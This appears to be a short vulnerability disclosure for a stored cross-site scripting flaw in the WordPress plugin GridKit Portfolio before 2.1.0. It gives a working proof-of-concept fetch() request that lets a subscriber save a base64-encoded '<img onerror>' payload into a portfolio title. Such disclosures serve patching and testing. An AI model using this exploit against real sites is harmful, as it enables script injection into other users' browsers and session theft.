GridKit Portfolio < 2.1.0 - Subscriber+ Stored Cross-Site Scripting

Step 1: Create a portfolio with at least one project (as admin)
Step 2: Add it to a post/page
Step 3: Run (as subscriber):

fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded"
  },
  "body": new URLSearchParams({"action": "crp_save_portfolio", "portfolio": '{"id":"1","title":"p","corder":["1"],"options":null,"extoptions":{"all_cats":{},"type":"album"},"projects":{"1":{"id":"0","pid":"1","title":"PGltZyBzcmMgb25lcnJvcj1hbGVydCgxKT4","description":"p","url":"http://tt.tt","cover":"aHR0cHM6Ly93d3cud2lraXBlZGlhLm9yZy9wb3J0YWwvd2lraXBlZGlhLm9yZy9hc3NldHMvaW1nL1dpa2lwZWRpYS1sb2dvLXYyLnBuZw==","pics":"","categories":[],"cdate":null,"details":""}},"deletions":[],"isDraft":false}'}),
  "method": "POST",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

The XSS will be triggered on the post/page where the Portfolio is embed